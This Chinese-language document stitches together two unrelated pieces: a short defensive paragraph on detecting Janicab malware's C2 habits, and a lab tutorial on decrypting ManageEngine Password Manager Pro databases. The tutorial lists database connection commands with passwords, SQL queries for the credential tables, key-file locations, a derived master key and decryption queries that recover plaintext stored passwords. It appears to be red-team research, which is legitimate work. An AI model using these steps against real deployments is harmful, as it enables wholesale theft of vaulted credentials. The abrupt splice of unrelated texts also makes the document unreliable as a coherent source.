由於攻擊者運營商在其歷史和最近的攻擊中繼續使用基於解釋語言的惡意軟件,如Python、VBE和VBS,並且主要是在其惡意軟件家族中,這可以用於防御者的優勢,因為應用程序白名單和操作系統強化是阻止攻擊者攻擊嘗試的有效技術。防御者還應尋找在沒有GUI的情況下運行的Internet Explorer進程,因為Janicab正在以隱藏模式使用IE與C2進行通信。在網絡上,攻擊者使用C2 IP地址而不是域名仍然是繞過基於DNS的安全控制的主要方法。相反,攻擊者仍然使用DDR作為解決C2 IP地址的方法;這是一種DNS解析的替代技術,通過使用可信的、大多數允許的公共web服務,允許C2通信與合法流量混合。這意味著網絡維護者可以尋找對使用的DDR的頻繁訪問,然後是指向IP地址而不是域名的HTTP會話。

0x00 前言在上篇文章《Password Manager Pro漏洞调试环境搭建》 介紹了漏洞調試環境的搭建細節,經測試發現數據庫的部分數據做了加密,本文將要介紹數據解密的方法。

0x01 簡介本文將要介紹以下內容:

數據加密的位置

解密方法

開源代碼

實例演示

0x02 數據加密的位置測試環境同《Password Manager Pro漏洞调试环境搭建》 保持一致

數據庫連接的完整命令:'C:\Program Files\ManageEngine\PMP\pgsql\bin\psql' 'host=127.0.0.1 port=2345 dbname=PassTrix user=pmpuser password=Eq5XZiQpHv'

數據庫連接成功,如下圖

1.png常見的數據加密位置有以下三個:

(1)Web登錄用戶的口令salt查詢Web登錄用戶名的命令:select * from aaauser;

查詢Web登錄用戶口令的命令:select * from aaapassword;

結果如下圖

2.png

password的加密格式為bcrypt(sha512($pass))/bcryptsha512 *,對應Hashcat的Hash-Mode為28400

其中,salt項被加密

(2)數據庫高權限用戶的口令查詢命令:select * from DBCredentialsAudit;

輸出如下:

3.png

password項被加密

(3)保存的憑據查詢命令:select * from ptrx_passbasedauthen;

結果如下圖

4.png

password項被加密

導出憑據相關完整信息的查詢命令:

5.png注:

該命令引用自https://www.shielder.com/blog/2022/09/how-to-decrypt-manage-engine-pmp-passwords-for-fun-and-domain-admin-a-red-teaming-tale/

0x03 解密方法加解密算法細節位於C:\Program Files\ManageEngine\PMP\lib\AdventNetPassTrix.jar中的com.adventnet.passtrix.ed.PMPEncryptDecryptImpl.class和com.adventnet.passtrix.ed.PMPAPI.class

解密流程如下:

(1)計算MasterKey代碼實現位置:C:\Program Files\ManageEngine\PMP\lib\AdventNetPassTrix.jar-com.adventnet.passtrix.ed.PMPAPI.class-GetEnterpriseKey()

如下圖

6.png

首先需要獲得enterpriseKey,通過查詢數據庫獲得,查詢命令:select NOTESDESCRIPTION from Ptrx_NotesInfo;

輸出為:

7.png

這裡可以得到enterpriseKey為D8z8c/cz3Pyu1xuZVuGaqI0bfGCRweEQsptj2Knjb/U=

解密enterpriseKey的實現代碼:

8.png跟進一步,如下圖

9.png

解密的密鑰通過getPmp32BitKey()獲得,對應的代碼實現位置:C:\Program Files\ManageEngine\PMP\lib\AdventNetPassTrix.jar-com.adventnet.passtrix.ed.PMPAPI.class-get32BitPMPConfKey()

代碼實現細節如下圖

10.png

這裡需要先讀取文件C:\Program Files\ManageEngine\PMP\conf\manage_key.conf獲得PMPConfKey的保存位置,默認配置下輸出為:C:\Program Files\ManageEngine\PMP\conf\pmp_key.key

查看C:\Program Files\ManageEngine\PMP\conf\pmp_key.key的文件內容:

11.png

通過動態調試發現,這裡存在轉義字符的問題,需要去除字符\,文件內容為60XVZJQDEPzrTluVIGDY2y9q4x6uxWZanf2LUF2KBCM\=,對應的PMPConfKey為60XVZJQDEPzrTluVIGDY2y9q4x6uxWZanf2LUF2KBCM=

至此,我們得到以下內容:

PMPConfKey為60XVZJQDEPzrTluVIGDY2y9q4x6uxWZanf2LUF2KBCM=

enterpriseKey為D8z8c/cz3Pyu1xuZVuGaqI0bfGCRweEQsptj2Knjb/U=

通過解密程序,最終可計算得出MasterKey為u001JO4dpWI(%!^#

(2)使用MasterKey解密數據庫中的數據數據庫中的加密數據均是以\x開頭的格式

解密可通過查詢語句完成

解密數據庫高權限用戶口令的命令示例:select decryptschar(password,'u001JO4dpWI(%!^#') from DBCredentialsAudit;

輸出如下圖

12.png

這裡直接獲得了明文口令N5tGp!R@oj,測試該口令是否有效的命令:'C:\Program Files\ManageEngine\PMP\pgsql\bin\psql' 'host=127.0.0.1 port=2345 dbname=PassTrix user=postgres password=N5tGp!R@oj'

連接成功,證實口令解密成功,如下圖

13.png

解密保存憑據的命令示例:select ptrx_account.RESOURCEID, ptrx_resource.RESOURCENAME, ptrx_resource.DOMAINNAME, ptrx_resource.IPADDRESS, ptrx_resource.RESOURCEURL, ptrx_password.DESCRIPTION, ptrx_account.LOGINNAME, decryptschar(ptrx_passbasedauthen.PASSWORD,'u001JO4dpWI(%!^#') from ptrx_passbasedauthen LEFT JOIN ptrx_password ON ptrx_passbasedauthen.PASSWDID=ptrx_password.PASSWDID LEFT JOIN ptrx_account ON ptrx_passbasedauthen.PASSWDID=ptrx_account.PASSWDID LEFT JOIN ptrx_resource ON ptrx_account.RESOURCEID=ptrx_resource.RESOURCEID;

輸出如下圖

14.png

提取出數據為PcQIojSp6/fuzwXOMI1sYJsbCslfuppwO+k=

(3)使用PMPConfKey解密得到最終的明文通過解密程序,最終可計算得出明文為iP-6pI24)-

登錄Web管理後台,確認解密的明文是否正確,如圖

15.png

解密成功

0x03 開源代碼以上測試的完整實現代碼如下:

16.png 17.png 18.png 19.png 20.png 21.png 22.png 23.png

代碼修正了https://www.shielder.com/blog/2022/09/how-to-decrypt-manage-engine-pmp-passwords-for-fun-and-domain-admin-a-red-teaming-tale/中在解密MasterKey時的Bug,更具通用性

0x04 小結本文介紹了Password Manager Pro數據解密的完整方法,修正了https://www.shielder.com/blog/2022/09/how-to-decrypt-manage-engine-pmp-passwords-for-fun-and-domain-admin-a-red-teaming-tale/中在解密MasterKey時的Bug,更具通用性。